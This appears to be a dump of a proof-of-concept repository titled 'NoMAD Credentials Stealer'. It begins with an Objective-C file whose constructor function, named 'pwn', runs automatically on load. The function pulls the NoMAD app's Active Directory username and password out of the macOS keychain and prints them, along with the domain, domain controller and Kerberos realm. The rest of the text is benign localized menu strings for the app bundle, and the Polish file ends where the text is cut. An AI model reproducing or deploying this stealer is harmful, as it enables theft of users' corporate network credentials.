6 | #define DLog(format, ...) CFShow([NSString stringWithFormat:format, ## __VA_ARGS__]);
7 | #endif
8 |
9 | void get_login(void);
10 | void get_password(void);
11 | void get_config(void);
12 | void logo(void);
13 |
14 | void get_login() {
15 | OSStatus res;
16 | CFTypeRef configurationRef;
17 |
18 | CFStringRef keyLabel = CFStringCreateWithCString (NULL, "NoMAD", kCFStringEncodingUTF8);
19 | CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL);
20 | CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
21 | CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
22 | CFDictionaryAddValue(attrDict, kSecReturnAttributes, kCFBooleanTrue);
23 |
24 | res = SecItemCopyMatching(attrDict, (CFTypeRef*)&configurationRef);
25 |
26 | NSDictionary *attrs = (__bridge_transfer NSDictionary *)configurationRef;
27 | DLog(@"+> AD login -> %@", [attrs objectForKey:@"acct"]);
28 | }
29 |
30 | void get_password() {
31 | OSStatus res;
32 | CFTypeRef configurationRef;
33 |
34 | CFStringRef keyLabel = CFStringCreateWithCString (NULL, "NoMAD", kCFStringEncodingUTF8);
35 |
36 | CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL);
37 | CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
38 | CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
39 | CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);
40 |
41 | res = SecItemCopyMatching(attrDict, (CFTypeRef*)&configurationRef);
42 | NSData *resultData = (__bridge_transfer NSData *)configurationRef;
43 |
44 | NSString *configuration = nil;
45 | configuration = [[NSString alloc] initWithData: resultData encoding: NSUTF8StringEncoding];
46 |
47 | DLog(@"+> AD password -> %@", configuration);
48 | }
49 |
50 | void get_config() {
51 | NSString *defaultsPath = [@"~/Library/Preferences/com.trusourcelabs.NoMAD.plist" stringByExpandingTildeInPath];
52 | NSDictionary *defaults = [NSDictionary dictionaryWithContentsOfFile:defaultsPath];
53 | DLog(@"+> Domain -> %@", defaults[@"ADDomain"]);
54 | DLog(@"+> Domain controller -> %@", defaults[@"ADDomainController"]);
55 | DLog(@"+> Kerberos realm -> %@", defaults[@"KerberosRealm"]);
56 | }
57 |
58 | void logo() {
59 | DLog(@"");
60 | DLog(@"+-------------------------------+");
61 | DLog(@"+ NoMAD Credentials Stealer +");
62 | DLog(@"+ by Wojciech Regula (_r3ggi) +")
63 | DLog(@"+-------------------------------+");
64 | }
65 |
66 | __attribute__((constructor)) static void pwn() {
67 |
68 | logo();
69 | get_config();
70 | get_login();
71 | get_password();
72 | exit(0);
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 |
2 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
3 | "0IM-ZO-KLA.ibShadowedToolTip" = "Skift din adgangskode til netværket.";
4 |
5 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
6 | "0IM-ZO-KLA.title" = "Skift adgangskode";
7 |
8 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
9 | "3Pf-2O-qR7.ibShadowedToolTip" = "Lås din skærm.";
10 |
11 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
12 | "3Pf-2O-qR7.title" = "Lås skærm";
13 |
14 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
15 | "3yQ-ft-CVW.title" = "Indstillinger";
16 |
17 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
18 | "A9U-v2-LiT.ibShadowedToolTip" = "Certifikat udløbsdato.";
19 |
20 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
21 | "A9U-v2-LiT.title" = "Dato for certifikatets udløb.";
22 |
23 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
24 | "AlW-9M-CK2.ibShadowedToolTip" = "Hent et certifikat";
25 |
26 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
27 | "AlW-9M-CK2.title" = "Hent certifikat";
28 |
29 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
30 | "CUr-ED-n29.ibShadowedToolTip" = "Tid før din adgangskode til netværket udløber.";
31 |
32 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
33 | "CUr-ED-n29.title" = "adgangskode udløber";
34 |
35 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
36 | "QYf-mL-9ta.ibShadowedToolTip" = "Tid til din Kerberos billet udløber.";
37 |
38 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
39 | "QYf-mL-9ta.title" = "Billet er udløbet";
40 |
41 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
42 | "Wa6-S1-lXm.ibShadowedToolTip" = "Log ind med din netværkskonto.";
43 |
44 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
45 | "Wa6-S1-lXm.title" = "Log ind";
46 |
47 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
48 | "XL2-b8-IwM.ibShadowedToolTip" = "Log ind med din netværkskonto.";
49 |
50 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
51 | "XL2-b8-IwM.title" = "Log ind";
52 |
53 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
54 | "fuo-5h-NuR.title" = "Hent Software";
55 |
56 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
57 | "gM7-FQ-f0l.title" = "Afslut";
58 |
59 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
60 | "kql-Bl-QJE.title" = "Skjult punkt 1";
61 |
62 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
63 | "pC8-5a-Aec.title" = "Dump logs";
64 |
65 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
66 | "rbx-v6-fJx.title" = "Få hjælp";
67 |
68 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
69 | "uQI-ol-UUw.ibShadowedToolTip" = "Dit netværks brugernavn.";
70 |
71 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
72 | "uQI-ol-UUw.title" = "bruger";
73 |
74 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
75 | "w1A-iF-wAU.ibShadowedToolTip" = "Log ud af netværket.";
76 |
77 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
78 | "w1A-iF-wAU.title" = "Log ud";
79 |
80 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */
81 | "wcV-DA-kNE.title" = "Software og Hjælp";
82 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Modifier votre mot de passe réseau.";
3 |
4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
5 | "0IM-ZO-KLA.title" = "Changer mot de passe";
6 |
7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Verrouiller votre écran.";
9 |
10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
11 | "3Pf-2O-qR7.title" = "Vérouiller l'écran";
12 |
13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
14 | "3yQ-ft-CVW.title" = "Préférences";
15 |
16 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
17 | "A9U-v2-LiT.ibShadowedToolTip" = "Date d'expiration du certificat.";
18 |
19 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
20 | "A9U-v2-LiT.title" = "Date d'expiration du certificat.";
21 |
22 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
23 | "AlW-9M-CK2.ibShadowedToolTip" = "Obtenir un certificat";
24 |
25 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
26 | "AlW-9M-CK2.title" = "Obtenir certificat";
27 |
28 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
29 | "CUr-ED-n29.ibShadowedToolTip" = "Temps jusqu'à ce que votre mot de passe réseau expire.";
30 |
31 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
32 | "CUr-ED-n29.title" = "Mot de passe expire";
33 |
34 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
35 | "QYf-mL-9ta.ibShadowedToolTip" = "Temps avant que votre ticket Kerberos expire.";
36 |
37 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
38 | "QYf-mL-9ta.title" = "Durée du ticket";
39 |
40 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
41 | "Wa6-S1-lXm.ibShadowedToolTip" = "Connectez-vous à votre compte réseau.";
42 |
43 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
44 | "Wa6-S1-lXm.title" = "Connectez-vous";
45 |
46 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
47 | "XL2-b8-IwM.ibShadowedToolTip" = "Connectez-vous à votre compte réseau.";
48 |
49 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
50 | "XL2-b8-IwM.title" = "Connectez-vous";
51 |
52 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
53 | "fuo-5h-NuR.title" = "Logiciels à la demande";
54 |
55 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
56 | "gM7-FQ-f0l.title" = "Quitter";
57 |
58 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
59 | "kql-Bl-QJE.title" = "Article caché 1";
60 |
61 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
62 | "pC8-5a-Aec.title" = "Obtenir Logs";
63 |
64 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
65 | "rbx-v6-fJx.title" = "Obtenir de l'aide";
66 |
67 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
68 | "uQI-ol-UUw.ibShadowedToolTip" = "Votre nom d'utilisateur réseau.";
69 |
70 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
71 | "uQI-ol-UUw.title" = "Utilisateur";
72 |
73 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
74 | "w1A-iF-wAU.ibShadowedToolTip" = "Déconnectez-vous de votre compte réseau.";
75 |
76 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
77 | "w1A-iF-wAU.title" = "Déconnectez-vous";
78 |
79 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Netzwerk-Passwort ändern.";
3 |
4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
5 | "0IM-ZO-KLA.title" = "Passwort ändern";
6 |
7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Den Bildschirm sperren.";
9 |
10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
11 | "3Pf-2O-qR7.title" = "Bildschirm sperren";
12 |
13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
14 | "3yQ-ft-CVW.title" = "Einstellungen";
15 |
16 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
17 | "A9U-v2-LiT.ibShadowedToolTip" = "Ablaufdatum des Zertifikats.";
18 |
19 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
20 | "A9U-v2-LiT.title" = "Zertifikatsablaufdatum";
21 |
22 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
23 | "AlW-9M-CK2.ibShadowedToolTip" = "Ein Zertifikat anfordern.";
24 |
25 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
26 | "AlW-9M-CK2.title" = "Zertifikat anfordern";
27 |
28 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
29 | "CUr-ED-n29.ibShadowedToolTip" = "Verbleibende Zeit bis das Passwort abläuft.";
30 |
31 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
32 | "CUr-ED-n29.title" = "Passwort läuft ab";
33 |
34 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
35 | "QYf-mL-9ta.ibShadowedToolTip" = "Verbleibende Zeit bis das Kerberos Ticket abläuft.";
36 |
37 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
38 | "QYf-mL-9ta.title" = "Ticket Gültigkeitsdauer";
39 |
40 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
41 | "Wa6-S1-lXm.ibShadowedToolTip" = "Anmelden mit dem Netzwerkaccount.";
42 |
43 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
44 | "Wa6-S1-lXm.title" = "Anmelden";
45 |
46 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
47 | "XL2-b8-IwM.ibShadowedToolTip" = "Anmelden mit dem Netzwerkaccount.";
48 |
49 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
50 | "XL2-b8-IwM.title" = "Anmelden 2";
51 |
52 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
53 | "fuo-5h-NuR.title" = "Software installieren";
54 |
55 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
56 | "gM7-FQ-f0l.title" = "Beenden";
57 |
58 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
59 | "kql-Bl-QJE.title" = "Hidden Item 1";
60 |
61 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
62 | "pC8-5a-Aec.title" = "Logs speichern";
63 |
64 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
65 | "rbx-v6-fJx.title" = "Hilfe anfordern";
66 |
67 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
68 | "uQI-ol-UUw.ibShadowedToolTip" = "Netzwerk-Benutzername.";
69 |
70 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
71 | "uQI-ol-UUw.title" = "Benutzername";
72 |
73 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
74 | "w1A-iF-wAU.ibShadowedToolTip" = "Vom Netzwerkaccount abmelden.";
75 |
76 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
77 | "w1A-iF-wAU.title" = "Abmelden";
78 |
79 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */
80 | "wcV-DA-kNE.title" = "Software und Hilfe";
81 |
82 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 |
2 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
3 | "0IM-ZO-KLA.ibShadowedToolTip" = "Byt ditt nätverkslösenord.";
4 |
5 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
6 | "0IM-ZO-KLA.title" = "Byt lösenord";
7 |
8 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
9 | "3Pf-2O-qR7.ibShadowedToolTip" = "Lås skärmen.";
10 |
11 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
12 | "3Pf-2O-qR7.title" = "Lås skärmen";
13 |
14 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
15 | "3yQ-ft-CVW.title" = "Inställningar";
16 |
17 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
18 | "A9U-v2-LiT.ibShadowedToolTip" = "Certifikatets utgångsdatum.";
19 |
20 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
21 | "A9U-v2-LiT.title" = "Certifikatsdatum";
22 |
23 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
24 | "AlW-9M-CK2.ibShadowedToolTip" = "Hämta certifikat.";
25 |
26 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
27 | "AlW-9M-CK2.title" = "Hämta certifikat";
28 |
29 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
30 | "CUr-ED-n29.ibShadowedToolTip" = "Tid till ditt nätverkslösenord går ut.";
31 |
32 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
33 | "CUr-ED-n29.title" = "lösenordet går ut";
34 |
35 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
36 | "QYf-mL-9ta.ibShadowedToolTip" = "Tid till din Kerberosbiljett går ut.";
37 |
38 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
39 | "QYf-mL-9ta.title" = "biljettliv";
40 |
41 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
42 | "Wa6-S1-lXm.ibShadowedToolTip" = "Logga in med ditt nätverkskonto.";
43 |
44 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
45 | "Wa6-S1-lXm.title" = "Logga in";
46 |
47 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
48 | "XL2-b8-IwM.ibShadowedToolTip" = "Logga in med ditt nätverkskonto.";
49 |
50 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
51 | "XL2-b8-IwM.title" = "Logga in en andra användare";
52 |
53 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
54 | "fuo-5h-NuR.title" = "Hämta programvara";
55 |
56 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
57 | "gM7-FQ-f0l.title" = "Avsluta";
58 |
59 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
60 | "kql-Bl-QJE.title" = "Gömt 1";
61 |
62 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
63 | "pC8-5a-Aec.title" = "Dumpa loggar";
64 |
65 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
66 | "rbx-v6-fJx.title" = "Kontakta support";
67 |
68 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
69 | "uQI-ol-UUw.ibShadowedToolTip" = "Ditt användarnamn i nätverket.";
70 |
71 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
72 | "uQI-ol-UUw.title" = "användare";
73 |
74 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
75 | "w1A-iF-wAU.ibShadowedToolTip" = "Logga ut från ditt nätverkskonto.";
76 |
77 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
78 | "w1A-iF-wAU.title" = "Logga ut";
79 |
80 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */
81 | "7uv-39-xiX.title" = "Biljettinfo";
82 |
83 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */
84 | "wcV-DA-kNE.title" = "Programvara och hjälp";
85 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Wijzig uw netwerk wachtwoord.";
3 |
4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
5 | "0IM-ZO-KLA.title" = "Wijzig wachtwoord";
6 |
7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Vergrendel uw scherm.";
9 |
10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
11 | "3Pf-2O-qR7.title" = "Vergrendel scherm";
12 |
13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
14 | "3yQ-ft-CVW.title" = "Voorkeuren";
15 |
16 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */
17 | "7uv-39-xiX.title" = "Ticket info";
18 |
19 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */
20 | "A9U-v2-LiT.ibShadowedToolTip" = "Certificaat verloop datum.";
21 |
22 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */
23 | "A9U-v2-LiT.title" = "Certificaatdatum";
24 |
25 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */
26 | "AlW-9M-CK2.ibShadowedToolTip" = "Haal een certificaat";
27 |
28 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */
29 | "AlW-9M-CK2.title" = "Haal certificaat";
30 |
31 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */
32 | "CUr-ED-n29.ibShadowedToolTip" = "Tijd totdat uw netwerk wachtwoord verloopt.";
33 |
34 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */
35 | "CUr-ED-n29.title" = "wachtwoord verloopt";
36 |
37 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */
38 | "QYf-mL-9ta.ibShadowedToolTip" = "Tijd totdat uw Kerberos ticket verloopt.";
39 |
40 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */
41 | "QYf-mL-9ta.title" = "ticket levensduur";
42 |
43 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */
44 | "Wa6-S1-lXm.ibShadowedToolTip" = "Authenticeer met uw netwerk account.";
45 |
46 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */
47 | "Wa6-S1-lXm.title" = "Authenticeer";
48 |
49 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */
50 | "XL2-b8-IwM.ibShadowedToolTip" = "Authenticeer met uw network account.";
51 |
52 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */
53 | "XL2-b8-IwM.title" = "Aanmelden 2";
54 |
55 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */
56 | "fuo-5h-NuR.title" = "Haal software";
57 |
58 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */
59 | "gM7-FQ-f0l.title" = "Stop";
60 |
61 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */
62 | "kql-Bl-QJE.title" = "Verborgen onderdelen 1";
63 |
64 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */
65 | "pC8-5a-Aec.title" = "Dump logs";
66 |
67 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */
68 | "rbx-v6-fJx.title" = "Toon hulp";
69 |
70 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */
71 | "uQI-ol-UUw.ibShadowedToolTip" = "Uw netwerk gebruikers naam.";
72 |
73 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */
74 | "uQI-ol-UUw.title" = "gebruiker";
75 |
76 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */
77 | "w1A-iF-wAU.ibShadowedToolTip" = "Afmelden van uw network account.";
78 |
79 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */
80 | "w1A-iF-wAU.title" = "Afmelden";
81 |
82 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */
83 | "wcV-DA-kNE.title" = "Software en hulp";
84 |
85 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/MainMenu.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */
2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Zmień swoje hasło.";
3 |
4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */
5 | "0IM-ZO-KLA.title" = "Zmień hasło";
6 |
7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */
8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Zablokuj swój ekran.";
9 |
10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */
11 | "3Pf-2O-qR7.title" = "Zablokuj ekran";
12 |
13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */
14 | "3yQ-ft-CVW.title" = "Preferencje";
15 |
16 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */
17 | "7uv-39-xiX.title" = "Informacje o Tickecie";
